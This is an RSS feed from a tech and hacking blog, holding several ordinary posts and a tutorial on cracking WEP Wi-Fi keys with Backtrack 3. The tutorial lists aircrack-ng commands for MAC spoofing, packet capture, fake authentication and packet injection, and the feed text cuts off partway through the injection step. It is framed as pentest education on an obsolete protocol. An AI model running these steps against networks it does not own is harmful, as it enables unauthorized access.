<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>What&#039;s the w0rd? &#187; Internet</title>
	<atom:link href="http://thew0rd.com/category/internet/feed/" rel="self" type="application/rss+xml" />
	<link>http://thew0rd.com</link>
	<description>Bringing you the w0rd from the virtual streets</description>
	<lastBuildDate>Thu, 29 Jul 2010 09:07:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>VIDEO: SHODAN a Search Engine for Penetration Testers (The Next HOPE)</title>
		<link>http://thew0rd.com/2010/07/19/shodan-a-search-engine-for-penetration-testers-the-next-hope/</link>
		<comments>http://thew0rd.com/2010/07/19/shodan-a-search-engine-for-penetration-testers-the-next-hope/#comments</comments>
		<pubDate>Tue, 20 Jul 2010 02:14:30 +0000</pubDate>
		<dc:creator>Maz</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[infosec]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[search]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[SHODAN]]></category>
		<category><![CDATA[theprez98]]></category>

		<guid isPermaLink="false">http://thew0rd.com/?p=584</guid>
		<description><![CDATA[This weekend at The Next HOPE conference Michael &#8220;theprez98&#8221; Schearer, a security researcher, gave a very interesting talk about SHODAN. SHODAN is a search engine which searches &#8220;banners&#8221; of systems. This means it&#8217;s basically a search engine of services on the internet. For example, with SHODAN you can find all servers running a specific version of Apache in a specific country. You also have the ability to export results in XML for a nominal fee. Check out the video of theprez98&#8242;s talk below. You can also find the slide-deck for theprez&#8217;s talk here. Please check your ethics before misusing SHODAN. <a href='http://thew0rd.com/2010/07/19/shodan-a-search-engine-for-penetration-testers-the-next-hope/'>[...]</a>]]></description>
			<content:encoded><![CDATA[<p>This weekend at The Next HOPE conference Michael &#8220;<a href="http://twitter.com/theprez98/"target="theprez98">theprez98</a>&#8221; Schearer, a security researcher, gave a very interesting talk about <a href="http://www.shodanhq.com/"tearget="sec">SHODAN</a>.  SHODAN is a search engine which searches &#8220;banners&#8221; of systems.  This means it&#8217;s basically a search engine of services on the internet.  For example, with SHODAN you can find all servers running a specific version of Apache in a specific country.  You also have the ability to export results in XML for a nominal fee.  Check out the video of theprez98&#8242;s talk below.  You can also find the slide-deck for theprez&#8217;s talk <a href="http://www.scribd.com/doc/34507835/SHODAN-for-Penetration-Testers-The-Next-HOPE" target="shodanslidedeck">here</a>. Please check your ethics before misusing SHODAN.</p>
<p>
<object width="400" height="285"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=13465839&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=13465839&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="285"></embed></object>
<p><a href="http://vimeo.com/13465839">SHODAN for Penetration Testers (The Next Hope)</a> from <a href="http://vimeo.com/user2275405">theprez98</a> on <a href="http://vimeo.com">Vimeo</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://thew0rd.com/2010/07/19/shodan-a-search-engine-for-penetration-testers-the-next-hope/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>56k Dial-up Modem Ringtone For iPhone and Android</title>
		<link>http://thew0rd.com/2010/07/13/56k-dial-up-modem-ringtone-for-iphone/</link>
		<comments>http://thew0rd.com/2010/07/13/56k-dial-up-modem-ringtone-for-iphone/#comments</comments>
		<pubDate>Wed, 14 Jul 2010 03:45:16 +0000</pubDate>
		<dc:creator>Maz</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Stuff & Junk]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[the w0rd]]></category>
		<category><![CDATA[.m4r]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[BBS]]></category>
		<category><![CDATA[dial-up]]></category>
		<category><![CDATA[dialup]]></category>
		<category><![CDATA[free ringtone]]></category>
		<category><![CDATA[geek]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[iTunes]]></category>
		<category><![CDATA[modem]]></category>
		<category><![CDATA[mp3]]></category>
		<category><![CDATA[retro]]></category>
		<category><![CDATA[ringtone]]></category>

		<guid isPermaLink="false">http://thew0rd.com/?p=565</guid>
		<description><![CDATA[I was searching all over for a decent dial-up modem ringtone for my iPhone for the longest time, but just couldn&#8217;t find one that I liked. So I decided to make my own. It was a major pain in the ass. Seeing as how I haven&#8217;t used a dialup modem since around the year 2000, and I only had one system that still has a dial-up modem. Then I had to find a dialup service to test with. Then record. Then edit. Then convert. But after much doing and a little geeking out, the result is 10 seconds of retro <a href='http://thew0rd.com/2010/07/13/56k-dial-up-modem-ringtone-for-iphone/'>[...]</a>]]></description>
			<content:encoded><![CDATA[<p>I was searching all over for a decent dial-up modem ringtone for my iPhone for the longest time, but just couldn&#8217;t find one that I liked.  So I decided to make my own.  It was a major pain in the ass.  Seeing as how I haven&#8217;t used a dialup modem since around the year 2000, and I only had one system that still has a dial-up modem.  Then I had to find a dialup service to test with.  Then record.  Then edit.  Then convert.  But after much doing and a little geeking out, the result is 10 seconds of retro goodness that will make your friends jealous.  I settled on this 10 second slice as my favorite in the modem handshake sequence.  I think it makes the best ringtone and is the perfect length too. </p>
<p>So go ahead and download my freshly made <a href="http://thew0rd.com/media/56k_Handshake_Ringtone.m4r">56k Dialup Modem Handshake Ringtone</a> for your iPhone.  Once you&#8217;ve downloaded the ringtone simply double click and it will be imported into iTunes as a ringtone.  Enjoy!</p>
<p>UPDATE: as requested in the comments below, here is a <a href="http://thew0rd.com/media/thew0rd56k.mp3">56k Modem Ringtone in .mp3 format for Android</a> users as well.  Go nuts.</p>
]]></content:encoded>
			<wfw:commentRss>http://thew0rd.com/2010/07/13/56k-dial-up-modem-ringtone-for-iphone/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
<enclosure url="http://thew0rd.com/media/thew0rd56k.mp3" length="161550" type="audio/mpeg" />
		</item>
		<item>
		<title>The Next HOPE schedule: Selected talks</title>
		<link>http://thew0rd.com/2010/07/05/the-next-hope-schedule-selected-talks/</link>
		<comments>http://thew0rd.com/2010/07/05/the-next-hope-schedule-selected-talks/#comments</comments>
		<pubDate>Mon, 05 Jul 2010 23:25:02 +0000</pubDate>
		<dc:creator>Maz</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[2600]]></category>
		<category><![CDATA[Hackers on Planet Earth]]></category>
		<category><![CDATA[HOPE]]></category>
		<category><![CDATA[NYC]]></category>
		<category><![CDATA[The Next HOPE]]></category>

		<guid isPermaLink="false">http://thew0rd.com/?p=551</guid>
		<description><![CDATA[&#8220;The Next H.O.P.E.&#8221; is the next installment in the biennial H.O.P.E. (Hackers on Planet Earth) series of conferences. H.O.P.E. takes place every 2 years at the Hotel Pennsylvania in the heart of New York City. HOPE is sponsored by the magazine 2600: The Hacker Quarterly. There have been seven conferences to date: HOPE, Beyond HOPE, H2K, H2K2, The Fifth HOPE, HOPE Number Six, and The Last HOPE. This year&#8217;s event takes place from July 16th &#8211; 18th, 2010. I tried to find a Google Calendar format of the schedule for this year&#8217;s talks. However I was unable to find such <a href='http://thew0rd.com/2010/07/05/the-next-hope-schedule-selected-talks/'>[...]</a>]]></description>
			<content:encoded><![CDATA[<p>&#8220;<a href="http://thenexthope.org/" target="_fnord">The Next H.O.P.E.</a>&#8221; is the next installment in the biennial H.O.P.E. (Hackers on Planet Earth) series of conferences.  H.O.P.E. takes place every 2 years at the Hotel Pennsylvania in the heart of New York City.  HOPE is sponsored by the magazine 2600: The Hacker Quarterly. There have been seven conferences to date: HOPE, Beyond HOPE, H2K, H2K2, The Fifth HOPE, HOPE Number Six, and The Last HOPE.  This year&#8217;s event takes place from July 16th &#8211; 18th, 2010.</p>
<p>I tried to find a Google Calendar format of the schedule for this year&#8217;s talks.  However I was unable to find such a format.  I&#8217;ve painstakingly created the following calendar based on my interests and talks that I would like to attend.  This is not a complete schedule of the conference.  I&#8217;m too lazy to turn the whole schedule in to a Google Calendar, however I may do so before the actual conference&#8230; we shall see.  Use as you will if you wish.  </p>
<div align=center>
<iframe src="http://www.google.com/calendar/embed?title=The%20Next%20HOPE%20(selected%20talks)&amp;mode=AGENDA&amp;height=800&amp;wkst=1&amp;bgcolor=%23FFFFFF&amp;src=437smcu04pshi0qfud0o1fkhpc%40group.calendar.google.com&amp;color=%23060D5E&amp;ctz=America%2FNew_York" style=" border-width:0 " width="660" height="800" frameborder="0" scrolling="no"></iframe>
</div>
<p>
You can view the full schedule by visiting: <a href="http://www.thenexthope.org/grid/" target="HOPE">The Next Hope schedule</a></p>
]]></content:encoded>
			<wfw:commentRss>http://thew0rd.com/2010/07/05/the-next-hope-schedule-selected-talks/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>How to Fix Some WordPress Memory Exhausted Errors</title>
		<link>http://thew0rd.com/2010/05/02/how-to-fix-some-wordpress-memory-exhausted-errors/</link>
		<comments>http://thew0rd.com/2010/05/02/how-to-fix-some-wordpress-memory-exhausted-errors/#comments</comments>
		<pubDate>Mon, 03 May 2010 04:17:20 +0000</pubDate>
		<dc:creator>Maz</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[2.9.2]]></category>
		<category><![CDATA[error]]></category>
		<category><![CDATA[memory]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress]]></category>
		<category><![CDATA[wordpress 2.9.2]]></category>

		<guid isPermaLink="false">http://thew0rd.com/?p=449</guid>
		<description><![CDATA[After updating WordPress and redesigning thew0rd.com this weekend I started to get an error message similar to the one below on the WordPress Admin Dashboard: Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 1966080 bytes) in /home/user/public_html/wp-includes/class-simplepie.php on line 5353 I was able to solve this error by editing the wp-config.php file and adding the following line: define('WP_MEMORY_LIMIT', '64M'); What this effectively does is increase the amount of memory that WordPress can use on your web server. You can alternately modify the php.ini file to increase the memory limit, but many web hosts do not allow <a href='http://thew0rd.com/2010/05/02/how-to-fix-some-wordpress-memory-exhausted-errors/'>[...]</a>]]></description>
			<content:encoded><![CDATA[<p>After updating WordPress and redesigning thew0rd.com this weekend I started to get an error message similar to the one below on the WordPress Admin Dashboard:</p>
<p><code>Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 1966080 bytes) in /home/user/public_html/wp-includes/class-simplepie.php on line 5353</code></p>
<p>I was able to solve this error by editing the wp-config.php file and adding the following line:</p>
<p><code>define('WP_MEMORY_LIMIT', '64M');</code></p>
<p>What this effectively does is increase the amount of memory that WordPress can use on your web server.  You can alternately modify the php.ini file to increase the memory limit, but many web hosts do not allow users to change these parameters.  I hope this tip helps people having the same or similar errors on their WordPress 2.9.2 sites.</p>
]]></content:encoded>
			<wfw:commentRss>http://thew0rd.com/2010/05/02/how-to-fix-some-wordpress-memory-exhausted-errors/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spiceworks 4.6 just released</title>
		<link>http://thew0rd.com/2010/03/12/spiceworks-4-6-just-released/</link>
		<comments>http://thew0rd.com/2010/03/12/spiceworks-4-6-just-released/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 04:22:26 +0000</pubDate>
		<dc:creator>Maz</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[discovery]]></category>
		<category><![CDATA[it]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[Mac OS X]]></category>
		<category><![CDATA[Network]]></category>
		<category><![CDATA[spiceworks]]></category>
		<category><![CDATA[sysadmin]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://thew0rd.com/?p=419</guid>
		<description><![CDATA[Spiceworks, my favorite tool for managing IT networks, has released a new version. Spiceworks scans your entire network and audits the devices in you infrastructure. Not only does Spiceworks create a comprehensive IT inventory, but it also monitors the health of vital systems. It can alert you when certain conditions are met, errors are found, systems run out of hard disk space, printer ink is low, and much more. Another cool feature is to have Spiceworks scan multiple sites, and report back to a central collector. This is great for me, as the company I work for, is an outsourced <a href='http://thew0rd.com/2010/03/12/spiceworks-4-6-just-released/'>[...]</a>]]></description>
			<content:encoded><![CDATA[<div align="center">
<a target="_blank" href="http://community.spiceworks.com/referral/ccefda3972d3aa146f3fdf14bf5c69a5"><br />
    <img src="http://resources.spiceworks.com/banners/spiceworks/spread_spiceworks/images/buttons/get-spiceworks.png" width="344" height="66" border="0" alt="Get Spiceworks and Set IT Free! Freedom is just a download away."/> </a><br />
<object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/Ob3Q1Xbnx_A&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Ob3Q1Xbnx_A&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"></embed></object><br />

</div>
<p><a href="http://community.spiceworks.com/referral/ccefda3972d3aa146f3fdf14bf5c69a5" target="new">Spiceworks</a>, my favorite tool for managing IT networks, has released a new version.  Spiceworks scans your entire network and audits the devices in you infrastructure.  Not only does Spiceworks create a comprehensive IT inventory, but it also monitors the health of vital systems. It can alert you when certain conditions are met, errors are found, systems run out of hard disk space, printer ink is low, and much more.   </p>
<p>Another cool feature is to have Spiceworks scan multiple sites, and report back to a central collector.  This is great for me, as the company I work for, is an outsourced IT Helpdesk for several medium sized businesses. We&#8217;ve deployed Spiceworks at all of our clients with more than 10 PCs.  This allows our business to be proactive in our approach to IT instead of reactive.</p>
<p>Don&#8217;t even get me started on how good Spiceworks has been for License Management. </p>
<p>Spiceworks 4.6 brings a host of new features include:</p>
<ul>
<li>View and Kill Processes Remotely </li>
<li>Ability to discover virtualized servers on VMware (vSphere &#038; ESX/ESXi), showing all the virtual machine data and configuration details</li>
<li>Better Helpdesk ticket management</li>
<li>Network mapping improvements</li>
<li>See network alerts and notifications in your Spiceworks Toolbar</li>
<li>And more&#8230;</li>
</ul>
<p>If you have never tried Spiceworks, you should.  It is free, and after you use it, you will be converted.  Oh yeah, did I mention it&#8217;s FREE (As in BEER)?  I used to work for a software company that developed one of the premier Enterprise IT Discovery platforms, and believe me, Spiceworks can do a lot more than even some multimillion dollar Enterprise platforms.  That was always the &#8220;dirty little secret&#8221;.  Anyways, check it out, you&#8217;ll love it.</p>
<p><a target="_blank" href="http://community.spiceworks.com/referral/ccefda3972d3aa146f3fdf14bf5c69a5"><br />
    <img src="http://resources.spiceworks.com/banners/spiceworks/spread_spiceworks/images/buttons/download-spiceworks.png" width="176" height="21" border="0" alt="Download Spiceworks"/> </a><br /></p>
]]></content:encoded>
			<wfw:commentRss>http://thew0rd.com/2010/03/12/spiceworks-4-6-just-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows Mobile Twitter Clients</title>
		<link>http://thew0rd.com/2008/10/15/windows-mobile-twitter-clients/</link>
		<comments>http://thew0rd.com/2008/10/15/windows-mobile-twitter-clients/#comments</comments>
		<pubDate>Wed, 15 Oct 2008 19:46:57 +0000</pubDate>
		<dc:creator>Maz</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[microblog]]></category>
		<category><![CDATA[pocket pc]]></category>
		<category><![CDATA[ppc]]></category>
		<category><![CDATA[social networking]]></category>
		<category><![CDATA[Twitter]]></category>
		<category><![CDATA[web2.0]]></category>
		<category><![CDATA[windows mobile]]></category>
		<category><![CDATA[wm5]]></category>
		<category><![CDATA[wm6]]></category>

		<guid isPermaLink="false">http://thew0rd.com/?p=127</guid>
		<description><![CDATA[Thought I would list out a few Twitter apps for your Windows Mobile phone.  I personally use Twobile the most.  Each application is obviously similar, being that they mostly do the same things.  Enjoy&#8230; Tiny Twitter &#8211; Love twitter and love tweeting from your mobile device? But don&#8217;t want to get dinged for updates and double dinged for friend updates continually arriving via SMS? Get the brand new Tiny Twitter software for your windows mobile phone. Twobile - Twobile (pronounced Twoh-bul, a mixture of the words &#8220;Twitter&#8221; and &#8220;Mobile&#8221;) is a new Twitter client for users of Windows Mobile Pocket <a href='http://thew0rd.com/2008/10/15/windows-mobile-twitter-clients/'>[...]</a>]]></description>
			<content:encoded><![CDATA[<p>Thought I would list out a few Twitter apps for your Windows Mobile phone.  I personally use Twobile the most.  Each application is obviously similar, being that they mostly do the same things.  Enjoy&#8230;</p>
<p><span id="more-127"></span></p>
<p><a title="Tiny Twitter" href="http://www.tinytwitter.com/" target="_blank">Tiny Twitter</a> &#8211; Love twitter and love tweeting from your mobile device? But don&#8217;t want to get dinged for updates and double dinged for friend updates continually arriving via SMS? Get the brand new Tiny Twitter software for your windows mobile phone.</p>

<a href="http://thew0rd.com/wp-content/gallery/postrelated/tinytwitter.jpg" title="" class="thickbox" rel="singlepic36" >
	<img class="ngg-singlepic ngg-center" src="http://thew0rd.com/index.php?callback=image&amp;pid=36&amp;width=320&amp;height=240&amp;mode=" alt="tinytwitter.jpg" title="tinytwitter.jpg" />
</a>

<p><a title="Twobile" href="http://www.infinitumsoftware.com/twobile" target="_blank">Twobile </a>- Twobile (pronounced Twoh-bul, a mixture of the words &#8220;Twitter&#8221; and &#8220;Mobile&#8221;) is a new Twitter client for users of Windows Mobile Pocket PCs. Initially a personal project designed to help access various services provided by Twitter, the project began in mid 2007 and had remained in prototype status for nearly a year. In early 2008, it was decided that since there was a lack of sufficient Windows Mobile Twitter clients that addressed nearly all the services that Twitter provided, the project was moved from a prototype to a publicly available beta.</p>
<p>With the rise of Twitter users and the increase in the adoption of Windows Mobile devices around the world, the need for a client that allows those Windows Mobile users to utilize as many of the features of Twitter as possible without needing to be at a desktop computer increased as well. And as the rates for mobile Internet access and the surcharges incurred by mobile providers for SMS messages increased, the need for a full-featured, yet simple-to-use, client presented itself as a need. Thus, Twobile was born! And even though Twitter provides a web-based interface for mobile devices, its functionality was not as robust as those found on the desktop-version of the web interface.</p>

<a href="http://thew0rd.com/wp-content/gallery/postrelated/twobile.jpg" title="" class="thickbox" rel="singlepic33" >
	<img class="ngg-singlepic ngg-center" src="http://thew0rd.com/index.php?callback=image&amp;pid=33&amp;width=320&amp;height=240&amp;mode=" alt="twobile.jpg" title="twobile.jpg" />
</a>

<p><a title="Twitula" href="http://www.kevdaly.co.nz/Software/Twitter/Twitula.aspx" target="_blank">Twitula</a> &#8211; is new and free twitter client for Windows Mobile pocket pc devices.</p>

<a href="http://thew0rd.com/wp-content/gallery/postrelated/twitula.jpg" title="" class="thickbox" rel="singlepic34" >
	<img class="ngg-singlepic ngg-center" src="http://thew0rd.com/index.php?callback=image&amp;pid=34&amp;width=320&amp;height=240&amp;mode=" alt="twitula.jpg" title="twitula.jpg" />
</a>

<p><a title="ceTwit" href="http://www.kosertech.com/blog/?page_id=5" target="_blank">ceTwit </a>- Pocket PC twitter client with Twitpic support for cross posting images.</p>

<a href="http://thew0rd.com/wp-content/gallery/postrelated/cetwit.jpg" title="" class="thickbox" rel="singlepic37" >
	<img class="ngg-singlepic ngg-center" src="http://thew0rd.com/index.php?callback=image&amp;pid=37&amp;width=320&amp;height=240&amp;mode=" alt="cetwit.jpg" title="cetwit.jpg" />
</a>

<p><a title="twittoday" href="http://dalelane.co.uk/page.php?id=1047" target="_blank">TwitToday</a> &#8211; Today screen twitter plugin to easily update your twitter status.</p>

<a href="http://thew0rd.com/wp-content/gallery/postrelated/twittoday.jpg" title="" class="thickbox" rel="singlepic35" >
	<img class="ngg-singlepic ngg-center" src="http://thew0rd.com/index.php?callback=image&amp;pid=35&amp;width=320&amp;height=240&amp;mode=" alt="twittoday.jpg" title="twittoday.jpg" />
</a>

]]></content:encoded>
			<wfw:commentRss>http://thew0rd.com/2008/10/15/windows-mobile-twitter-clients/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tutorial: Cracking WEP Using Backtrack 3</title>
		<link>http://thew0rd.com/2008/08/19/tutorial-cracking-wep-using-backtrack-3/</link>
		<comments>http://thew0rd.com/2008/08/19/tutorial-cracking-wep-using-backtrack-3/#comments</comments>
		<pubDate>Tue, 19 Aug 2008 22:07:12 +0000</pubDate>
		<dc:creator>Maz</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Mobile]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[the w0rd]]></category>
		<category><![CDATA[802.11]]></category>
		<category><![CDATA[backtrack]]></category>
		<category><![CDATA[bt3]]></category>
		<category><![CDATA[cracking]]></category>
		<category><![CDATA[encryption]]></category>
		<category><![CDATA[howto]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[tutorial]]></category>
		<category><![CDATA[wep]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[wireless]]></category>

		<guid isPermaLink="false">http://thew0rd.com/?p=125</guid>
		<description><![CDATA[Standard Disclaimer: This article is provided for informational purposes only. thew0rd.com and its affiliates accept no liability for providing this information. Please only use to test configurations on your own equipment. Accessing WIFI networks that do not belong to you is ILLEGAL. This article will explan how to crack 64bit and 128bit WEP on many WIFI access points and routers using Backtrack, a live linux distribution. Your mileage may very. The basic theory is that we want to connect to an Access Point using WEP Encryption, but we do not know the key. We will attack the wifi router, making <a href='http://thew0rd.com/2008/08/19/tutorial-cracking-wep-using-backtrack-3/'>[...]</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>Standard Disclaimer: This article is provided for informational purposes only. thew0rd.com and its affiliates accept no liability for providing this information.  Please only use to test configurations on your own equipment.  Accessing WIFI networks that do not belong to you is ILLEGAL.</p></blockquote>
<p>This article will explan how to crack 64bit and 128bit WEP on many WIFI access points and routers using <a title="Backtrack" href="http://www.remote-exploit.org/backtrack.html" target="_blank">Backtrack</a>, a live linux distribution. Your mileage may very.  The basic theory is that we want to connect to an Access Point using WEP Encryption, but we do not know the key.  We will attack the wifi router, making it generate packets for our cracking effort, finally cracking the WEP key.  I have tested this technique on an IBM Thinkpad x60 and Acer 5672 and the <a title="Intel® PRO/Wireless 3945ABG Network Connection" href="http://support.intel.com/support/wireless/wlan/pro3945abg/" target="_blank">WIFI Chipset in those machines</a> work for sure.</p>
<p><span id="more-125"></span></p>
<p><span style="text-decoration: underline;"><strong>Requirements:</strong></span></p>
<ul>
<li><a title="Download Backtrack 3" href="http://www.remote-exploit.org/backtrack_download.html" target="_blank">Backtrack 3</a> on CD or <a title="Boot Backtrack 3 on USB" href="http://wiki.remote-exploit.org/index.php/Howto#Make_a_USB_stick" target="_blank">USB</a></li>
<li>Computer with <a title="compatible wifi 802.11 wireless cards" href="http://www.aircrack-ng.org/doku.php?id=compatibility_drivers" target="_blank">compatible 802.11 wireless card</a></li>
<li>Wireless Access point or WIFI Router using <a title="WEP Encryption" href="http://en.wikipedia.org/wiki/Wired_Equivalent_Privacy" target="_blank">WEP</a> encryption</li>
</ul>
<p>I will assume that you have downloaded and booted into Backtrack 3.   If you haven&#8217;t figured that part out, you probably shouldn&#8217;t be trying to crack WEP keys.  Once Backtrack is loaded, open a shell and do the following:</p>
<h2>Preparing The WIFI Card</h2>
<p>First we must enable &#8220;Monitor Mode&#8221; on the wifi card.  If using the Intel® PRO/Wireless 3945ABG chipset issue the following commands:</p>
<p><code>modprobe -r iwl3945</code></p>
<p><code>modprobe ipwraw</code><br />
The above commands will enable monitor mode on the wireless chipset in your computer.  Next we must stop your WIFI card:</p>
<p><code>iwconfig</code><br />
Take note of your wireless adapter&#8217;s interface name. Then stop the adapter by issuing:</p>
<p><code>airmon-ng stop [device]</code><br />
Then:</p>
<p><code>ifconfig  down [interface]</code><br />
Now we must change the MAC address of the adapter:</p>
<p><code>macchanger --mac 00:11:22:33:44:66 [device]</code><br />
Its now time to start the card in monitor mode by doing:</p>
<p><code>airmon-ng start [device]</code><br />
<a class="thickbox" href="http://thew0rd.com/wp-content/gallery/wepcrack/airmon-ngstart1.png"><img class="ngg-singlepic ngg-none" src="http://thew0rd.com/wp-content/gallery/wepcrack/airmon-ngstart1.png" alt="airmon-ngstart1.png" /></a></p>
<h2>Attacking The Target</h2>
<p>It is now time to locate a suitable WEP enabled network to work with:</p>
<p><code>airodump-ng [device]</code><br />
<a class="thickbox" href="http://thew0rd.com/wp-content/gallery/wepcrack/airodumpwifi0.png"><img class="ngg-singlepic ngg-none" src="http://thew0rd.com/wp-content/gallery/wepcrack/airodumpwifi0.png" alt="airodumpwifi0.png" /></a></p>
<p>Be sure to note the MAC address (BSSID), channel (CH) and name (ESSID) of the target network.  Now we must start collecting data from the WIFI access point for the attack:</p>
<p><code>airodump-ng -c [channel] -w [network.out] --bssid [bssid] [device]<br />
</code><br />
<a class="thickbox" href="http://thew0rd.com/wp-content/gallery/wepcrack/airodumpoutput.png"><img class="ngg-singlepic ngg-none" src="http://thew0rd.com/wp-content/gallery/wepcrack/airodumpoutput.png" alt="airodumpoutput.png" /></a></p>
<p>The above command will output data collected to the file: network.out.  This file will be fed into the WEP Crack program when we are ready to crack the WEP key.</p>
<p>Open another shell and leave the previous command running.  Now we need to generate some fake packets to the access point to speed up the data output.  Test the access point by issuing the following command:</p>
<p><code>aireplay-ng -1 0 -a [bssid] -h 00:11:22:33:44:66 -e [essid] [device]</code><br />
<a class="thickbox" href="http://thew0rd.com/wp-content/gallery/wepcrack/aireplayfakeauth.png"><img class="ngg-singlepic ngg-none" src="http://thew0rd.com/wp-content/gallery/wepcrack/aireplayfakeauth.png" alt="aireplayfakeauth.png" /></a></p>
<p>If this command is successful we will now generate many packets on the target network so that we can crack the KEY.  Type:</p>
<p><code>airplay-ng -3 -b [bssid] -h 00:11:22:33:44:66 [device]</code><br />
<a class="thickbox" href="http://thew0rd.com/wp-content/gallery/wepcrack/aireplaygenerateivs.png"><img class="ngg-singlepic ngg-none" src="http://thew0rd.com/wp-content/gallery/wepcrack/aireplaygenerateivs.png" alt="aireplaygenerateivs.png" /></a></p>
